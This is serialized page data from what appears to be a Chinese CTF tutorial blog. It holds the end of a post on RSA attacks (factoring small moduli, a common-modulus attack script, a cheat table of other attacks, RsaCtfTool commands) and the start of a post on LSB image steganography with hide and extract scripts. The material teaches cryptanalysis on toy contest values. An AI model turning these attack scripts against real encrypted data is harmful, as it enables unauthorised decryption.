2753。\n",[29,10761,10762],{"class":31,"line":74},[29,10763,42],{"emptyLinePlaceholder":41},[29,10765,10766],{"class":31,"line":179},[29,10767,10768],{},"m = 65\n",[29,10770,10771],{"class":31,"line":185},[29,10772,10773],{},"c = pow(m, e, n)\n",[29,10775,10776],{"class":31,"line":190},[29,10777,10778],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[29,10780,10781],{"class":31,"line":677},[29,10782,10783],{},"print(\"n =\", n)\n",[29,10785,10786],{"class":31,"line":683},[29,10787,10788],{},"print(\"phi =\", phi)\n",[29,10790,10791],{"class":31,"line":689},[29,10792,10793],{},"print(\"d =\", d)\n",[29,10795,10796],{"class":31,"line":695},[29,10797,10798],{},"print(\"c =\", c)\n",[29,10800,10801],{"class":31,"line":2596},[29,10802,10803],{},"print(\"解密 =\", pow(c, d, n))\n",[29,10805,10806],{"class":31,"line":2602},[29,10807,10808],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[15,10810,3503],{},[19,10812,10815],{"className":10813,"code":10814,"language":477,"meta":24},[475],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 65\n",[26,10816,10814],{"__ignoreMap":24},[15,10818,10819,10820,10823],{},"攻击者只有 ",[26,10821,10822],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[10,10825,10827],{"id":10826},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[15,10829,10830,10832],{},[216,10831,218],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[15,10834,10835,10837],{},[216,10836,224],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[235,10839,10841],{"id":10840},"_51-用-sympy-分解","5.1 用 sympy 分解",[19,10843,10845],{"className":21,"code":10844,"language":23,"meta":24,"style":24},"from sympy import factorint\n\nprint(factorint(3233))\n",[26,10846,10847,10852,10856],{"__ignoreMap":24},[29,10848,10849],{"class":31,"line":32},[29,10850,10851],{},"from sympy import factorint\n",[29,10853,10854],{"class":31,"line":38},[29,10855,42],{"emptyLinePlaceholder":41},[29,10857,10858],{"class":31,"line":45},[29,10859,10860],{},"print(factorint(3233))\n",[15,10862,3503],{},[19,10864,10867],{"className":10865,"code":10866,"language":477,"meta":24},[475],"{53: 1, 61: 1}\n",[26,10868,10866],{"__ignoreMap":24},[15,10870,10871,10872,458],{},"得到 ",[26,10873,10874],{},"p=53, q=61",[235,10876,10878],{"id":10877},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[15,10880,10881,10883],{},[216,10882,224],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[19,10885,10887],{"className":21,"code":10886,"language":23,"meta":24,"style":24},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[26,10888,10889,10894,10899,10903,10908,10913,10918,10923,10927,10931,10935,10940,10945,10949,10954,10959,10964],{"__ignoreMap":24},[29,10890,10891],{"class":31,"line":32},[29,10892,10893],{},"from Crypto.Util.number import long_to_bytes\n",[29,10895,10896],{"class":31,"line":38},[29,10897,10898],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[29,10900,10901],{"class":31,"line":45},[29,10902,42],{"emptyLinePlaceholder":41},[29,10904,10905],{"class":31,"line":51},[29,10906,10907],{},"n = 3233\n",[29,10909,10910],{"class":31,"line":56},[29,10911,10912],{},"e = 17\n",[29,10914,10915],{"class":31,"line":62},[29,10916,10917],{},"c = 2790\n",[29,10919,10920],{"class":31,"line":68},[29,10921,10922],{},"p, q = 53, 61\n",[29,10924,10925],{"class":31,"line":74},[29,10926,42],{"emptyLinePlaceholder":41},[29,10928,10929],{"class":31,"line":179},[29,10930,10744],{},[29,10932,10933],{"class":31,"line":185},[29,10934,10754],{},[29,10936,10937],{"class":31,"line":190},[29,10938,10939],{},"m = pow(c, d, n)\n",[29,10941,10942],{"class":31,"line":677},[29,10943,10944],{},"# 解密：m = c^d mod n。\n",[29,10946,10947],{"class":31,"line":683},[29,10948,42],{"emptyLinePlaceholder":41},[29,10950,10951],{"class":31,"line":689},[29,10952,10953],{},"print(\"m =\", m)\n",[29,10955,10956],{"class":31,"line":695},[29,10957,10958],{},"print(long_to_bytes(m))\n",[29,10960,10961],{"class":31,"line":2596},[29,10962,10963],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[29,10965,10966],{"class":31,"line":2602},[29,10967,10968],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[15,10970,3503],{},[19,10972,10975],{"className":10973,"code":10974,"language":477,"meta":24},[475],"m = 65\nb'A'\n",[26,10976,10974],{"__ignoreMap":24},[15,10978,10979,10982,10983,10985],{},[26,10980,10981],{},"65"," 对应的 ASCII 字符是 ",[26,10984,2995],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[235,10987,10989],{"id":10988},"_53-用-factordb-查","5.3 用 FactorDB 查",[15,10991,10992,10993,10997],{},"如果 n 太大本地分解不动，去 ",[3571,10994,10995],{"href":10995,"rel":10996},"https://factordb.com",[3575]," 粘贴 n 查询，或：",[19,10999,11001],{"className":21,"code":11000,"language":23,"meta":24,"style":24},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[26,11002,11003,11008,11012,11017,11022],{"__ignoreMap":24},[29,11004,11005],{"class":31,"line":32},[29,11006,11007],{},"from factordb.factordb import FactorDB\n",[29,11009,11010],{"class":31,"line":38},[29,11011,42],{"emptyLinePlaceholder":41},[29,11013,11014],{"class":31,"line":45},[29,11015,11016],{},"f = FactorDB(n)\n",[29,11018,11019],{"class":31,"line":51},[29,11020,11021],{},"f.connect()\n",[29,11023,11024],{"class":31,"line":56},[29,11025,11026],{},"p, q = f.get_factor_list()\n",[10,11028,11030],{"id":11029},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[235,11032,11034],{"id":11033},"_61-场景","6.1 场景",[15,11036,11037,11038,11040,11041,11044],{},"同一个 ",[26,11039,10652],{},"、两个互质的 ",[26,11042,11043],{},"e1, e2","、同一明文：",[19,11046,11049],{"className":11047,"code":11048,"language":477,"meta":24},[475],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[26,11050,11048],{"__ignoreMap":24},[235,11052,11054],{"id":11053},"_62-数学原理","6.2 数学原理",[15,11056,11057,11059],{},[216,11058,218],{},"：理解为什么\"两个密文能拼出明文\"。",[15,11061,11062,11064],{},[216,11063,224],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[15,11066,11067,11068,11071],{},"扩展欧几里得算法求出 ",[26,11069,11070],{},"a, b"," 使：",[19,11073,11076],{"className":11074,"code":11075,"language":477,"meta":24},[475],"a × e1 + b × e2 = 1\n",[26,11077,11075],{"__ignoreMap":24},[15,11079,11080],{},"则：",[19,11082,11085],{"className":11083,"code":11084,"language":477,"meta":24},[475],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[26,11086,11084],{"__ignoreMap":24},[235,11088,11090],{"id":11089},"_63-完整代码","6.3 完整代码",[19,11092,11094],{"className":21,"code":11093,"language":23,"meta":24,"style":24},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[26,11095,11096,11101,11106,11111,11116,11121,11126,11130,11134,11139,11143,11148,11153,11157,11162,11167,11172,11177,11181,11186,11191,11196,11201,11206,11211,11216,11221,11225,11230,11234,11239,11244,11249],{"__ignoreMap":24},[29,11097,11098],{"class":31,"line":32},[29,11099,11100],{},"def egcd(a, b):\n",[29,11102,11103],{"class":31,"line":38},[29,11104,11105],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[29,11107,11108],{"class":31,"line":45},[29,11109,11110],{},"    if b == 0:\n",[29,11112,11113],{"class":31,"line":51},[29,11114,11115],{},"        return a, 1, 0\n",[29,11117,11118],{"class":31,"line":56},[29,11119,11120],{},"    g, x, y = egcd(b, a % b)\n",[29,11122,11123],{"class":31,"line":62},[29,11124,11125],{},"    return g, y, x - (a // b) * y\n",[29,11127,11128],{"class":31,"line":68},[29,11129,42],{"emptyLinePlaceholder":41},[29,11131,11132],{"class":31,"line":74},[29,11133,10907],{},[29,11135,11136],{"class":31,"line":179},[29,11137,11138],{},"e1, e2 = 17, 19\n",[29,11140,11141],{"class":31,"line":185},[29,11142,10768],{},[29,11144,11145],{"class":31,"line":190},[29,11146,11147],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[29,11149,11150],{"class":31,"line":677},[29,11151,11152],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[29,11154,11155],{"class":31,"line":683},[29,11156,42],{"emptyLinePlaceholder":41},[29,11158,11159],{"class":31,"line":689},[29,11160,11161],{},"_, a, b = egcd(e1, e2)\n",[29,11163,11164],{"class":31,"line":695},[29,11165,11166],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[29,11168,11169],{"class":31,"line":2596},[29,11170,11171],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[29,11173,11174],{"class":31,"line":2602},[29,11175,11176],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[29,11178,11179],{"class":31,"line":2608},[29,11180,42],{"emptyLinePlaceholder":41},[29,11182,11183],{"class":31,"line":2614},[29,11184,11185],{},"# 负指数要先取模逆元\n",[29,11187,11188],{"class":31,"line":4050},[29,11189,11190],{},"if a \u003C 0:\n",[29,11192,11193],{"class":31,"line":4056},[29,11194,11195],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[29,11197,11198],{"class":31,"line":4062},[29,11199,11200],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[29,11202,11203],{"class":31,"line":4068},[29,11204,11205],{},"else:\n",[29,11207,11208],{"class":31,"line":4074},[29,11209,11210],{},"    c1 = pow(c1, a, n)\n",[29,11212,11213],{"class":31,"line":4839},[29,11214,11215],{},"if b \u003C 0:\n",[29,11217,11218],{"class":31,"line":4844},[29,11219,11220],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[29,11222,11223],{"class":31,"line":4850},[29,11224,11205],{},[29,11226,11227],{"class":31,"line":4856},[29,11228,11229],{},"    c2 = pow(c2, b, n)\n",[29,11231,11232],{"class":31,"line":4861},[29,11233,42],{"emptyLinePlaceholder":41},[29,11235,11236],{"class":31,"line":4867},[29,11237,11238],{},"recovered = (c1 * c2) % n\n",[29,11240,11241],{"class":31,"line":4873},[29,11242,11243],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[29,11245,11246],{"class":31,"line":4879},[29,11247,11248],{},"print(\"恢复 m =\", recovered)\n",[29,11250,11251],{"class":31,"line":4885},[29,11252,11253],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[15,11255,3503],{},[19,11257,11260],{"className":11258,"code":11259,"language":477,"meta":24},[475],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[26,11261,11259],{"__ignoreMap":24},[10,11263,11265],{"id":11264},"七其他常见攻击速查","七、其他常见攻击速查",[342,11267,11268,11278],{},[345,11269,11270],{},[348,11271,11272,11275],{},[351,11273,11274],{},"场景",[351,11276,11277],{},"攻击",[361,11279,11280,11298,11306,11314,11322],{},[348,11281,11282,11291],{},[366,11283,11284,11287,11288],{},[26,11285,11286],{},"e=3"," 且 ",[26,11289,11290],{},"m^e \u003C n",[366,11292,11293,11294,11297],{},"直接开立方根（",[26,11295,11296],{},"gmpy2.iroot(c, 3)","）",[348,11299,11300,11303],{},[366,11301,11302],{},"同一明文发给 3 个不同 n",[366,11304,11305],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[348,11307,11308,11311],{},[366,11309,11310],{},"e 特别大（d 很小）",[366,11312,11313],{},"Wiener 攻击（连分数）",[348,11315,11316,11319],{},[366,11317,11318],{},"p、q 很接近",[366,11320,11321],{},"Fermat 分解（平方差）",[348,11323,11324,11327],{},[366,11325,11326],{},"泄露 dp",[366,11328,11329,11330],{},"枚举 k，",[26,11331,11332],{},"p = (e*dp-1)//k + 1",[10,11334,3103],{"id":3102},[342,11336,11337,11347],{},[345,11338,11339],{},[348,11340,11341,11343,11345],{},[351,11342,2139],{},[351,11344,3114],{},[351,11346,3117],{},[361,11348,11349,11367,11383],{},[348,11350,11351,11354,11365],{},[366,11352,11353],{},"pycryptodome",[366,11355,11356,435,11359,435,11362],{},[26,11357,11358],{},"long_to_bytes",[26,11360,11361],{},"inverse",[26,11363,11364],{},"pow(m,e,n)",[366,11366,3146],{},[348,11368,11369,11372,11378],{},[366,11370,11371],{},"sympy",[366,11373,11374,11377],{},[26,11375,11376],{},"factorint"," 分解",[366,11379,11380],{},[26,11381,11382],{},"factorint(3233)",[348,11384,11385,11388,11391],{},[366,11386,11387],{},"RsaCtfTool",[366,11389,11390],{},"自动尝试多种攻击、从公钥文件读取",[366,11392,11393],{},[26,11394,11395],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[15,11397,11398,11399,11404],{},"FactorDB（",[3571,11400,11403],{"href":11401,"rel":11402},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[3575],"https://factordb.com）用于查"," n 的已知分解。",[10,11406,10504],{"id":10503},[15,11408,978],{},[19,11410,11413],{"className":11411,"code":11412,"language":477,"meta":24},[475],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[26,11414,11412],{"__ignoreMap":24},[15,11416,11417],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[235,11419,11421],{"id":11420},"第一步分解","第一步：分解",[15,11423,11424,11426],{},[216,11425,224],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[19,11428,11430],{"className":21,"code":11429,"language":23,"meta":24,"style":24},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[26,11431,11432,11436],{"__ignoreMap":24},[29,11433,11434],{"class":31,"line":32},[29,11435,10851],{},[29,11437,11438],{"class":31,"line":38},[29,11439,11440],{},"print(factorint(1000000016000000063))\n",[15,11442,3503],{},[19,11444,11447],{"className":11445,"code":11446,"language":477,"meta":24},[475],"{1000000007: 1, 1000000009: 1}\n",[26,11448,11446],{"__ignoreMap":24},[235,11450,11452],{"id":11451},"第二步解密","第二步：解密",[15,11454,11455,11457,11458,11461],{},[216,11456,224],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[26,11459,11460],{},"b'flag'"," 说明解密成功。",[19,11463,11465],{"className":21,"code":11464,"language":23,"meta":24,"style":24},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[26,11466,11467,11471,11475,11480,11485,11490,11495,11499,11503,11507],{"__ignoreMap":24},[29,11468,11469],{"class":31,"line":32},[29,11470,10893],{},[29,11472,11473],{"class":31,"line":38},[29,11474,42],{"emptyLinePlaceholder":41},[29,11476,11477],{"class":31,"line":45},[29,11478,11479],{},"n = 1000000016000000063\n",[29,11481,11482],{"class":31,"line":51},[29,11483,11484],{},"e = 65537\n",[29,11486,11487],{"class":31,"line":56},[29,11488,11489],{},"c = 856868007642616233\n",[29,11491,11492],{"class":31,"line":62},[29,11493,11494],{},"p, q = 1000000007, 1000000009\n",[29,11496,11497],{"class":31,"line":68},[29,11498,42],{"emptyLinePlaceholder":41},[29,11500,11501],{"class":31,"line":74},[29,11502,10744],{},[29,11504,11505],{"class":31,"line":179},[29,11506,10754],{},[29,11508,11509],{"class":31,"line":185},[29,11510,11511],{},"print(long_to_bytes(pow(c, d, n)))\n",[15,11513,3503],{},[19,11515,11518],{"className":11516,"code":11517,"language":477,"meta":24},[475],"b'flag'\n",[26,11519,11517],{"__ignoreMap":24},[235,11521,11523],{"id":11522},"第三步工具验证","第三步：工具验证",[19,11525,11527],{"className":113,"code":11526,"language":115,"meta":24,"style":24},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[26,11528,11529],{"__ignoreMap":24},[29,11530,11531,11534,11536,11539,11541,11544,11547,11550,11553],{"class":31,"line":32},[29,11532,11533],{"class":122},"./RsaCtfTool.py",[29,11535,1355],{"class":815},[29,11537,11538],{"class":815}," 1000000016000000063",[29,11540,4658],{"class":815},[29,11542,11543],{"class":815}," 65537",[29,11545,11546],{"class":815}," --uncipher",[29,11548,11549],{"class":815}," 856868007642616233",[29,11551,11552],{"class":815}," --attack",[29,11554,11555],{"class":126}," all\n",[10,11557,3296],{"id":3295},[15,11559,11560,11561,11564],{},"RSA 解题顺序：",[216,11562,11563],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1116,11566,4316],{},{"title":24,"searchDepth":38,"depth":38,"links":11568},[11569,11570,11571,11572,11573,11574,11575,11576,11577,11578],{"id":10616,"depth":45,"text":10617},{"id":1211,"depth":45,"text":1212},{"id":10680,"depth":45,"text":10681},{"id":10708,"depth":45,"text":10709},{"id":10826,"depth":45,"text":10827},{"id":11029,"depth":45,"text":11030},{"id":11264,"depth":45,"text":11265},{"id":3102,"depth":45,"text":3103},{"id":10503,"depth":45,"text":10504},{"id":3295,"depth":45,"text":3296},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":1132,"image":8467,"alt":11581,"tags":11582,"published":41},"RSA 深入实战",[1136,4332,11583,1139],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":10611,"description":11579},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":11589,"title":11590,"body":11591,"description":12601,"extension":1130,"meta":12602,"navigation":41,"ogImage":3326,"path":12606,"seo":12607,"stem":12608,"__hash__":12609},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":7,"value":11592,"toc":12591},[11593,11597,11603,11605,11639,11643,11647,11650,11656,11660,11665,11812,11822,11826,11831,11836,11939,11941,11946,11950,11963,11969,11973,11978,11983,11987,11990,11996,12003,12007,12012,12050,12052,12058,12061,12067,12071,12076,12133,12136,12142,12145,12183,12185,12191,12194,12198,12207,12262,12264,12270,12277,12281,12286,12291,12294,12392,12399,12405,12416,12418,12483,12487,12492,12497,12501,12503,12543,12546,12551,12557,12572,12575,12577,12588],[10,11594,11596],{"id":11595},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[15,11598,11599,11600,11602],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[26,11601,4413],{},"，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[10,11604,1212],{"id":1211},[19,11606,11608],{"className":113,"code":11607,"language":115,"meta":24,"style":24},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[26,11609,11610,11623,11631],{"__ignoreMap":24},[29,11611,11612,11614,11616,11618,11620],{"class":31,"line":32},[29,11613,1225],{"class":122},[29,11615,127],{"class":126},[29,11617,1230],{"class":126},[29,11619,1233],{"class":126},[29,11621,11622],{"class":126}," binwalk\n",[29,11624,11625,11627,11629],{"class":31,"line":38},[29,11626,2503],{"class":122},[29,11628,127],{"class":126},[29,11630,4453],{"class":126},[29,11632,11633,11635,11637],{"class":31,"line":45},[29,11634,5097],{"class":122},[29,11636,127],{"class":126},[29,11638,5102],{"class":126},[10,11640,11642],{"id":11641},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[235,11644,11646],{"id":11645},"_31-原理","3.1 原理",[15,11648,11649],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[19,11651,11654],{"className":11652,"code":11653,"language":477,"meta":24},[475],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n",[26,11655,11653],{"__ignoreMap":24},[235,11657,11659],{"id":11658},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[15,11661,11662,11664],{},[216,11663,218],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[19,11666,11668],{"className":21,"code":11667,"language":23,"meta":24,"style":24},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[26,11669,11670,11674,11679,11683,11687,11692,11696,11700,11704,11709,11713,11718,11722,11727,11731,11735,11739,11743,11747,11751,11756,11760,11764,11769,11773,11777,11782,11786,11790,11794,11799,11803,11808],{"__ignoreMap":24},[29,11671,11672],{"class":31,"line":32},[29,11673,4724],{},[29,11675,11676],{"class":31,"line":38},[29,11677,11678],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[29,11680,11681],{"class":31,"line":45},[29,11682,42],{"emptyLinePlaceholder":41},[29,11684,11685],{"class":31,"line":51},[29,11686,4738],{},[29,11688,11689],{"class":31,"line":56},[29,11690,11691],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[29,11693,11694],{"class":31,"line":62},[29,11695,4753],{},[29,11697,11698],{"class":31,"line":68},[29,11699,42],{"emptyLinePlaceholder":41},[29,11701,11702],{"class":31,"line":74},[29,11703,4762],{},[29,11705,11706],{"class":31,"line":179},[29,11707,11708],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[29,11710,11711],{"class":31,"line":185},[29,11712,4777],{},[29,11714,11715],{"class":31,"line":190},[29,11716,11717],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[29,11719,11720],{"class":31,"line":677},[29,11721,4792],{},[29,11723,11724],{"class":31,"line":683},[29,11725,11726],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[29,11728,11729],{"class":31,"line":689},[29,11730,42],{"emptyLinePlaceholder":41},[29,11732,11733],{"class":31,"line":695},[29,11734,4806],{},[29,11736,11737],{"class":31,"line":2596},[29,11738,4811],{},[29,11740,11741],{"class":31,"line":2602},[29,11742,4816],{},[29,11744,11745],{"class":31,"line":2608},[29,11746,4821],{},[29,11748,11749],{"class":31,"line":2614},[29,11750,4826],{},[29,11752,11753],{"class":31,"line":4050},[29,11754,11755],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[29,11757,11758],{"class":31,"line":4056},[29,11759,4821],{},[29,11761,11762],{"class":31,"line":4062},[29,11763,4847],{},[29,11765,11766],{"class":31,"line":4068},[29,11767,11768],{},"        # 绿色通道，同样处理。\n",[29,11770,11771],{"class":31,"line":4074},[29,11772,4821],{},[29,11774,11775],{"class":31,"line":4839},[29,11776,4864],{},[29,11778,11779],{"class":31,"line":4844},[29,11780,11781],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[29,11783,11784],{"class":31,"line":4850},[29,11785,4876],{},[29,11787,11788],{"class":31,"line":4856},[29,11789,42],{"emptyLinePlaceholder":41},[29,11791,11792],{"class":31,"line":4861},[29,11793,4893],{},[29,11795,11796],{"class":31,"line":4867},[29,11797,11798],{},"# putdata()：把修改后的像素写回图片。\n",[29,11800,11801],{"class":31,"line":4873},[29,11802,4905],{},[29,11804,11805],{"class":31,"line":4879},[29,11806,11807],{},"# save()：保存为 PNG。\n",[29,11809,11810],{"class":31,"line":4885},[29,11811,4917],{},[15,11813,11814,11816,11817,4927,11819,11821],{},[26,11815,4922],{}," 清零最低位（",[26,11818,4926],{},[26,11820,4930],{}," 写入。",[235,11823,11825],{"id":11824},"_33-提取解题视角","3.3 提取（解题视角）",[15,11827,11828,11830],{},[216,11829,218],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[15,11832,11833,11835],{},[216,11834,224],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[19,11837,11839],{"className":21,"code":11838,"language":23,"meta":24,"style":24},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[26,11840,11841,11845,11849,11853,11858,11862,11866,11870,11875,11879,11883,11887,11892,11896,11900,11904,11909,11913,11918,11922,11926,11930,11934],{"__ignoreMap":24},[29,11842,11843],{"class":31,"line":32},[29,11844,4724],{},[29,11846,11847],{"class":31,"line":38},[29,11848,42],{"emptyLinePlaceholder":41},[29,11850,11851],{"class":31,"line":45},[29,11852,4963],{},[29,11854,11855],{"class":31,"line":51},[29,11856,11857],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[29,11859,11860],{"class":31,"line":56},[29,11861,4978],{},[29,11863,11864],{"class":31,"line":62},[29,11865,4983],{},[29,11867,11868],{"class":31,"line":68},[29,11869,4988],{},[29,11871,11872],{"class":31,"line":74},[29,11873,11874],{},"    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[29,11876,11877],{"class":31,"line":179},[29,11878,42],{"emptyLinePlaceholder":41},[29,11880,11881],{"class":31,"line":185},[29,11882,5007],{},[29,11884,11885],{"class":31,"line":190},[29,11886,5012],{},[29,11888,11889],{"class":31,"line":677},[29,11890,11891],{},"    # 每 8 个比特一组，步长为 8。\n",[29,11893,11894],{"class":31,"line":683},[29,11895,5022],{},[29,11897,11898],{"class":31,"line":689},[29,11899,5027],{},[29,11901,11902],{"class":31,"line":695},[29,11903,5032],{},[29,11905,11906],{"class":31,"line":2596},[29,11907,11908],{},"        # 左移 1 